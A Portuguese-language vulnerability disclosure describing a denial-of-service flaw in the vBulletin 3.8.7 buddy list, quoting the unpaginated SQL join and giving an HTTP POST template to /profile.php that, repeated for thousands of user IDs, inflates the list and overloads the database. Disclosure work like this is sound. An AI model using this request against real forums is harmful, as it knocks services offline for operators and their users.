
Descrição de uma vulnerabilidade de Negação de Serviço na lista de amigos do vBulletin 3.8.7.
O endpoint /misc.php?do=buddylist executa uma única consulta JOIN grande que recupera todos os amigos juntamente com suas informações de usuário e sessão para verificar o status online. Como essa consulta processa toda a lista de amigos sem paginação ou limites de resultados, ela se torna extremamente intensiva em recursos e pode sobrecarregar o banco de dados quando a lista cresce.
Este problema é fácil de explorar e requer configuração mínima. Nenhum privilégio especial é necessário além de uma conta de usuário básica. Simplesmente inflar a lista de amigos é suficiente para causar séria pressão no banco de dados.
Esta consulta SQL recupera detalhes dos amigos juntamente com informações de sessão para verificar o status online de cada amigo. Como ela processa toda a lista de amigos e faz junções com dados de sessão para cada entrada, a consulta se torna muito grande e intensiva em recursos.
$buddys = $db->query_read_slave("
SELECT
user.username,
(user.options & " . $vbulletin->bf_misc_useroptions['invisible'] . ") AS invisible,
user.userid,
session.lastactivity
FROM " . TABLE_PREFIX . "userlist AS userlist
LEFT JOIN " . TABLE_PREFIX . "user AS user ON (user.userid = userlist.relationid)
LEFT JOIN " . TABLE_PREFIX . "session AS session ON (session.userid = user.userid)
WHERE userlist.userid = {$vbulletin->userinfo['userid']}
AND userlist.relationid = user.userid
AND type = 'buddy'
ORDER BY username ASC, session.lastactivity DESC
");
Listas de amigos em massa podem ser populadas enviando POST para /profile.php com listbits. Isso pode ser repetido para milhares de IDs de usuário para inflar a lista de amigos:
POST /profile.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
securitytoken=TOKEN
&ajax=1
&do=updatelist
&userlist=buddy
&listbits[buddy_original][USER_ID]=USER_ID
&listbits[buddy][USER_ID]=USER_ID
&listbits[friend][USER_ID]=USER_ID
&listbits[friend_original][USER_ID]=USER_ID
...
Em fóruns grandes, isso pode causar lentidão severa nas consultas ou até travar a instância do MySQL.